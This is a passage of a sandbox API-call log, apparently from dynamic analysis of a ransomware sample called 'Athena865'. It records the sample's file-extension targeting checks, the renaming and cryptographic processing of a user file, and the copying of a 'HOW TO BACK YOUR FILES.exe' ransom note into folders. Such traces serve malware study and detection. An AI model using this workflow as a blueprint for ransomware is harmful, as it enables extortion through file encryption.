lpString2="daschema") returned 1 [0035.960] lstrlenW (lpString="db-journal") returned 10 [0035.960] lstrlenW (lpString="db-shm") returned 6 [0035.960] lstrcmpiW (lpString1="er.ini", lpString2="db-shm") returned 1 [0035.960] lstrlenW (lpString="db-wal") returned 6 [0035.960] lstrcmpiW (lpString1="er.ini", lpString2="db-wal") returned 1 [0035.960] lstrlenW (lpString="dbc") returned 3 [0035.960] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0035.960] lstrlenW (lpString="dbs") returned 3 [0035.960] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0035.960] lstrlenW (lpString="dbt") returned 3 [0035.960] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0035.961] lstrlenW (lpString="dbv") returned 3 [0035.961] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0035.961] lstrlenW (lpString="dbx") returned 3 [0035.961] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0035.961] lstrlenW (lpString="dcb") returned 3 [0035.961] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0035.961] lstrlenW (lpString="dct") returned 3 [0035.961] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0035.961] lstrlenW (lpString="dcx") returned 3 [0035.961] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0035.961] lstrlenW (lpString="ddl") returned 3 [0035.961] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0035.961] lstrlenW (lpString="dlis") returned 4 [0035.961] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0035.961] lstrlenW (lpString="dp1") returned 3 [0035.961] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0035.961] lstrlenW (lpString="dqy") returned 3 [0035.961] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0035.961] lstrlenW (lpString="dsk") returned 3 [0035.961] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0035.961] lstrlenW (lpString="dsn") returned 3 [0035.961] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0035.961] lstrlenW (lpString="dtsx") returned 4 [0035.961] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0035.961] lstrlenW (lpString="dxl") returned 3 [0035.961] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0035.961] lstrlenW (lpString="eco") returned 3 [0035.961] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0035.961] lstrlenW (lpString="ecx") returned 3 [0035.961] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0035.961] lstrlenW (lpString="edb") returned 3 [0035.961] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0035.961] lstrlenW (lpString="epim") returned 4 [0035.961] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0035.961] lstrlenW (lpString="fcd") returned 3 [0035.961] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0035.961] lstrlenW (lpString="fdb") returned 3 [0035.961] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0035.961] lstrlenW (lpString="fic") returned 3 [0035.962] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0035.962] lstrlenW (lpString="flexolibrary") returned 12 [0035.962] lstrlenW (lpString="fm5") returned 3 [0035.962] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0035.962] lstrlenW (lpString="fmp") returned 3 [0035.962] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0035.962] lstrlenW (lpString="fmp12") returned 5 [0035.962] lstrcmpiW (lpString1="r.ini", lpString2="fmp12") returned 1 [0035.962] lstrlenW (lpString="fmpsl") returned 5 [0035.962] lstrcmpiW (lpString1="r.ini", lpString2="fmpsl") returned 1 [0035.962] lstrlenW (lpString="fol") returned 3 [0035.962] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0035.962] lstrlenW (lpString="fp3") returned 3 [0035.962] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0035.962] lstrlenW (lpString="fp4") returned 3 [0035.962] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0035.962] lstrlenW (lpString="fp5") returned 3 [0035.962] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0035.962] lstrlenW (lpString="fp7") returned 3 [0035.962] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0035.962] lstrlenW (lpString="fpt") returned 3 [0035.962] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0035.962] lstrlenW (lpString="frm") returned 3 [0035.962] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0035.962] lstrlenW (lpString="gdb") returned 3 [0035.962] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0035.962] lstrlenW (lpString="gdb") returned 3 [0035.962] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0035.962] lstrlenW (lpString="grdb") returned 4 [0035.962] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0035.962] lstrlenW (lpString="gwi") returned 3 [0035.962] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0035.962] lstrlenW (lpString="hdb") returned 3 [0035.962] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0035.962] lstrlenW (lpString="his") returned 3 [0035.962] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0035.962] lstrlenW (lpString="ib") returned 2 [0035.963] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0035.963] lstrlenW (lpString="idb") returned 3 [0035.963] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0035.963] lstrlenW (lpString="ihx") returned 3 [0035.963] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0035.963] lstrlenW (lpString="itdb") returned 4 [0035.963] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0035.963] lstrlenW (lpString="itw") returned 3 [0035.963] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0035.963] lstrlenW (lpString="jet") returned 3 [0035.963] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0035.963] lstrlenW (lpString="jtx") returned 3 [0035.963] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0035.963] lstrlenW (lpString="kdb") returned 3 [0035.963] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0035.963] lstrlenW (lpString="kexi") returned 4 [0035.963] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0035.963] lstrlenW (lpString="kexic") returned 5 [0035.963] lstrcmpiW (lpString1="r.ini", lpString2="kexic") returned 1 [0035.963] lstrlenW (lpString="kexis") returned 5 [0035.963] lstrcmpiW (lpString1="r.ini", lpString2="kexis") returned 1 [0035.963] lstrlenW (lpString="lgc") returned 3 [0035.963] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0035.963] lstrlenW (lpString="lwx") returned 3 [0035.963] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0035.963] lstrlenW (lpString="maf") returned 3 [0035.963] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0035.963] lstrlenW (lpString="maq") returned 3 [0035.963] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0035.963] lstrlenW (lpString="mar") returned 3 [0035.963] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0035.963] lstrlenW (lpString="marshal") returned 7 [0035.963] lstrcmpiW (lpString1="ser.ini", lpString2="marshal") returned 1 [0035.963] lstrlenW (lpString="mas") returned 3 [0035.963] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0035.963] lstrlenW (lpString="mav") returned 3 [0035.963] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0035.964] lstrlenW (lpString="maw") returned 3 [0035.964] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0035.964] lstrlenW (lpString="mdbhtml") returned 7 [0035.964] lstrcmpiW (lpString1="ser.ini", lpString2="mdbhtml") returned 1 [0035.964] lstrlenW (lpString="mdn") returned 3 [0035.964] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0035.964] lstrlenW (lpString="mdt") returned 3 [0035.964] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0035.964] lstrlenW (lpString="mfd") returned 3 [0035.964] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0035.964] lstrlenW (lpString="mpd") returned 3 [0035.964] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0035.964] lstrlenW (lpString="mrg") returned 3 [0035.964] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0035.964] lstrlenW (lpString="mud") returned 3 [0035.964] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0035.964] lstrlenW (lpString="mwb") returned 3 [0035.964] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0035.964] lstrlenW (lpString="myd") returned 3 [0035.964] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0035.964] lstrlenW (lpString="ndf") returned 3 [0035.964] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0035.964] lstrlenW (lpString="nnt") returned 3 [0035.964] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0035.964] lstrlenW (lpString="nrmlib") returned 6 [0035.964] lstrcmpiW (lpString1="er.ini", lpString2="nrmlib") returned -1 [0035.964] lstrlenW (lpString="ns2") returned 3 [0035.964] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0035.964] lstrlenW (lpString="ns3") returned 3 [0035.964] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0035.964] lstrlenW (lpString="ns4") returned 3 [0035.964] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0035.964] lstrlenW (lpString="nsf") returned 3 [0035.964] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0035.964] lstrlenW (lpString="nv") returned 2 [0035.964] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0035.964] lstrlenW (lpString="nv2") returned 3 [0035.964] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0035.965] lstrlenW (lpString="nwdb") returned 4 [0035.965] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0035.965] lstrlenW (lpString="nyf") returned 3 [0035.965] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0035.965] lstrlenW (lpString="odb") returned 3 [0035.965] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0035.965] lstrlenW (lpString="odb") returned 3 [0035.965] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0035.965] lstrlenW (lpString="oqy") returned 3 [0035.965] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0035.965] lstrlenW (lpString="ora") returned 3 [0035.965] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0035.965] lstrlenW (lpString="orx") returned 3 [0035.965] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0035.965] lstrlenW (lpString="owc") returned 3 [0035.965] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0035.965] lstrlenW (lpString="p96") returned 3 [0035.965] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0035.965] lstrlenW (lpString="p97") returned 3 [0035.965] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0035.965] lstrlenW (lpString="pan") returned 3 [0035.965] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0035.965] lstrlenW (lpString="pdb") returned 3 [0035.965] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0035.965] lstrlenW (lpString="pdm") returned 3 [0035.965] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0035.965] lstrlenW (lpString="pnz") returned 3 [0035.965] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0035.965] lstrlenW (lpString="qry") returned 3 [0035.965] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0035.965] lstrlenW (lpString="qvd") returned 3 [0035.965] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0035.965] lstrlenW (lpString="rbf") returned 3 [0035.965] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0035.965] lstrlenW (lpString="rctd") returned 4 [0035.965] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0035.965] lstrlenW (lpString="rod") returned 3 [0035.965] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0035.966] lstrlenW (lpString="rodx") returned 4 [0035.966] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0035.966] lstrlenW (lpString="rpd") returned 3 [0035.966] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0035.966] lstrlenW (lpString="rsd") returned 3 [0035.966] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0035.966] lstrlenW (lpString="sas7bdat") returned 8 [0035.966] lstrcmpiW (lpString1="user.ini", lpString2="sas7bdat") returned 1 [0035.966] lstrlenW (lpString="sbf") returned 3 [0035.966] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0035.966] lstrlenW (lpString="scx") returned 3 [0035.966] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0035.966] lstrlenW (lpString="sdb") returned 3 [0035.966] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0035.966] lstrlenW (lpString="sdc") returned 3 [0035.966] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0035.966] lstrlenW (lpString="sdf") returned 3 [0035.966] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0035.966] lstrlenW (lpString="sis") returned 3 [0035.966] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0035.966] lstrlenW (lpString="spq") returned 3 [0035.966] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0035.966] lstrlenW (lpString="te") returned 2 [0035.966] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0035.966] lstrlenW (lpString="teacher") returned 7 [0035.966] lstrcmpiW (lpString1="ser.ini", lpString2="teacher") returned -1 [0035.966] lstrlenW (lpString="tmd") returned 3 [0035.966] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0035.966] lstrlenW (lpString="tps") returned 3 [0035.966] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0035.966] lstrlenW (lpString="trc") returned 3 [0035.966] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0035.966] lstrlenW (lpString="trc") returned 3 [0035.966] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0035.966] lstrlenW (lpString="trm") returned 3 [0035.966] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0035.966] lstrlenW (lpString="udb") returned 3 [0035.967] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0035.967] lstrlenW (lpString="udl") returned 3 [0035.967] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0035.967] lstrlenW (lpString="usr") returned 3 [0035.967] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0035.967] lstrlenW (lpString="v12") returned 3 [0035.967] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0035.967] lstrlenW (lpString="vis") returned 3 [0035.967] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0035.967] lstrlenW (lpString="vpd") returned 3 [0035.967] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0035.967] lstrlenW (lpString="vvv") returned 3 [0035.967] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0035.967] lstrlenW (lpString="wdb") returned 3 [0035.967] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0035.967] lstrlenW (lpString="wmdb") returned 4 [0035.967] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0035.967] lstrlenW (lpString="wrk") returned 3 [0035.967] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0035.967] lstrlenW (lpString="xdb") returned 3 [0035.967] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0035.967] lstrlenW (lpString="xld") returned 3 [0035.967] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0035.967] lstrlenW (lpString="xmlff") returned 5 [0035.967] lstrcmpiW (lpString1="r.ini", lpString2="xmlff") returned -1 [0035.967] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\ntuser.ini.Athena865") returned 54 [0035.967] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\ntuser.ini" (normalized: "c:\\documents and settings\\default\\ntuser.ini"), lpNewFileName="C:\\Documents and Settings\\Default\\ntuser.ini.Athena865" (normalized: "c:\\documents and settings\\default\\ntuser.ini.athena865"), dwFlags=0x1) returned 1 [0035.968] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\ntuser.ini.Athena865" (normalized: "c:\\documents and settings\\default\\ntuser.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0035.968] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=20) returned 1 [0035.968] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0035.968] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52cfd0 [0035.969] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518788 [0035.969] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518898) returned 1 [0035.969] CryptGenRandom (in: hProv=0x518898, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0035.969] CryptReleaseContext (hProv=0x518898, dwFlags=0x0) returned 1 [0035.970] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x320, lpName=0x0) returned 0x154 [0035.980] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x320) returned 0x100000 [0035.981] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518898) returned 1 [0035.981] CryptGenRandom (in: hProv=0x518898, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0035.981] CryptReleaseContext (hProv=0x518898, dwFlags=0x0) returned 1 [0035.981] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d048 [0035.981] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d048 | out: hHeap=0x4f0000) returned 1 [0035.981] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0035.982] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0035.982] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0035.982] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0035.982] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52dfb8 [0035.982] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0035.982] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0035.982] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0035.982] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0035.982] CloseHandle (hObject=0x154) returned 1 [0035.982] CloseHandle (hObject=0x17c) returned 1 [0035.983] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cfd0 | out: hHeap=0x4f0000) returned 1 [0035.983] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518788 | out: hHeap=0x4f0000) returned 1 [0035.983] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0035.983] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0035.983] lstrcmpiW (lpString1="Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.984] lstrcmpiW (lpString1="Pictures", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.984] lstrcmpiW (lpString1="Pictures", lpString2=".") returned 1 [0035.984] lstrcmpiW (lpString1="Pictures", lpString2="..") returned 1 [0035.984] lstrcmpiW (lpString1="Pictures", lpString2="windows") returned -1 [0035.984] lstrcmpiW (lpString1="Pictures", lpString2="bootmgr") returned 1 [0035.984] lstrcmpiW (lpString1="Pictures", lpString2="temp") returned -1 [0035.984] lstrcmpiW (lpString1="Pictures", lpString2="pagefile.sys") returned 1 [0035.984] lstrcmpiW (lpString1="Pictures", lpString2="boot") returned 1 [0035.984] lstrcmpiW (lpString1="Pictures", lpString2="ids.txt") returned 1 [0035.984] lstrcmpiW (lpString1="Pictures", lpString2="ntuser.dat") returned 1 [0035.984] lstrcmpiW (lpString1="Pictures", lpString2="perflogs") returned 1 [0035.984] lstrcmpiW (lpString1="Pictures", lpString2="MSBuild") returned 1 [0035.984] lstrlenW (lpString="Pictures") returned 8 [0035.984] lstrcpyW (in: lpString1=0x241e88c, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0035.984] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\Default\\Pictures", dwFileAttributes=0x10) returned 1 [0035.984] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cc18 [0035.984] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x56) returned 0x5289b0 [0035.984] lstrcatW (in: lpString1="Pictures", lpString2="\\" | out: lpString1="Pictures\\") returned="Pictures\\" [0035.984] lstrcatW (in: lpString1="Pictures\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Pictures\\HOW TO BACK YOUR FILES.exe") returned="Pictures\\HOW TO BACK YOUR FILES.exe" [0035.984] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\pictures\\how to back your files.exe"), bFailIfExists=1) returned 1 [0035.987] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0035.987] lstrcmpiW (lpString1="PrintHood", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.987] lstrcmpiW (lpString1="PrintHood", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.987] lstrcmpiW (lpString1="PrintHood", lpString2=".") returned 1 [0035.987] lstrcmpiW (lpString1="PrintHood", lpString2="..") returned 1 [0035.987] lstrcmpiW (lpString1="PrintHood", lpString2="windows") returned -1 [0035.987] lstrcmpiW (lpString1="PrintHood", lpString2="bootmgr") returned 1 [0035.987] lstrcmpiW (lpString1="PrintHood", lpString2="temp") returned -1 [0035.987] lstrcmpiW (lpString1="PrintHood", lpString2="pagefile.sys") returned 1 [0035.987] lstrcmpiW (lpString1="PrintHood", lpString2="boot") returned 1 [0035.987] lstrcmpiW (lpString1="PrintHood", lpString2="ids.txt") returned 1 [0035.987] lstrcmpiW (lpString1="PrintHood", lpString2="ntuser.dat") returned 1 [0035.987] lstrcmpiW (lpString1="PrintHood", lpString2="perflogs") returned 1 [0035.987] lstrcmpiW (lpString1="PrintHood", lpString2="MSBuild") returned 1 [0035.988] lstrlenW (lpString="PrintHood") returned 9 [0035.988] lstrcpyW (in: lpString1=0x241e88c, lpString2="PrintHood" | out: lpString1="PrintHood") returned="PrintHood" [0035.988] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cc30 [0035.988] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x58) returned 0x528a10 [0035.988] lstrcatW (in: lpString1="PrintHood", lpString2="\\" | out: lpString1="PrintHood\\") returned="PrintHood\\" [0035.988] lstrcatW (in: lpString1="PrintHood\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="PrintHood\\HOW TO BACK YOUR FILES.exe") returned="PrintHood\\HOW TO BACK YOUR FILES.exe" [0035.988] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\PrintHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\printhood\\how to back your files.exe"), bFailIfExists=1) returned 1 [0035.990] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0035.990] lstrcmpiW (lpString1="Recent", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.990] lstrcmpiW (lpString1="Recent", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.990] lstrcmpiW (lpString1="Recent", lpString2=".") returned 1 [0035.990] lstrcmpiW (lpString1="Recent", lpString2="..") returned 1 [0035.990] lstrcmpiW (lpString1="Recent", lpString2="windows") returned -1 [0035.990] lstrcmpiW (lpString1="Recent", lpString2="bootmgr") returned 1 [0035.990] lstrcmpiW (lpString1="Recent", lpString2="temp") returned -1 [0035.990] lstrcmpiW (lpString1="Recent", lpString2="pagefile.sys") returned 1 [0035.990] lstrcmpiW (lpString1="Recent", lpString2="boot") returned 1 [0035.990] lstrcmpiW (lpString1="Recent", lpString2="ids.txt") returned 1 [0035.990] lstrcmpiW (lpString1="Recent", lpString2="ntuser.dat") returned 1 [0035.990] lstrcmpiW (lpString1="Recent", lpString2="perflogs") returned 1 [0035.990] lstrcmpiW (lpString1="Recent", lpString2="MSBuild") returned 1 [0035.990] lstrlenW (lpString="Recent") returned 6 [0035.990] lstrcpyW (in: lpString1=0x241e88c, lpString2="Recent" | out: lpString1="Recent") returned="Recent" [0035.990] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cc48 [0035.990] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x52) returned 0x528a70 [0035.990] lstrcatW (in: lpString1="Recent", lpString2="\\" | out: lpString1="Recent\\") returned="Recent\\" [0035.991] lstrcatW (in: lpString1="Recent\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Recent\\HOW TO BACK YOUR FILES.exe") returned="Recent\\HOW TO BACK YOUR FILES.exe" [0035.991] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Recent\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\recent\\how to back your files.exe"), bFailIfExists=1) returned 1 [0035.995] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 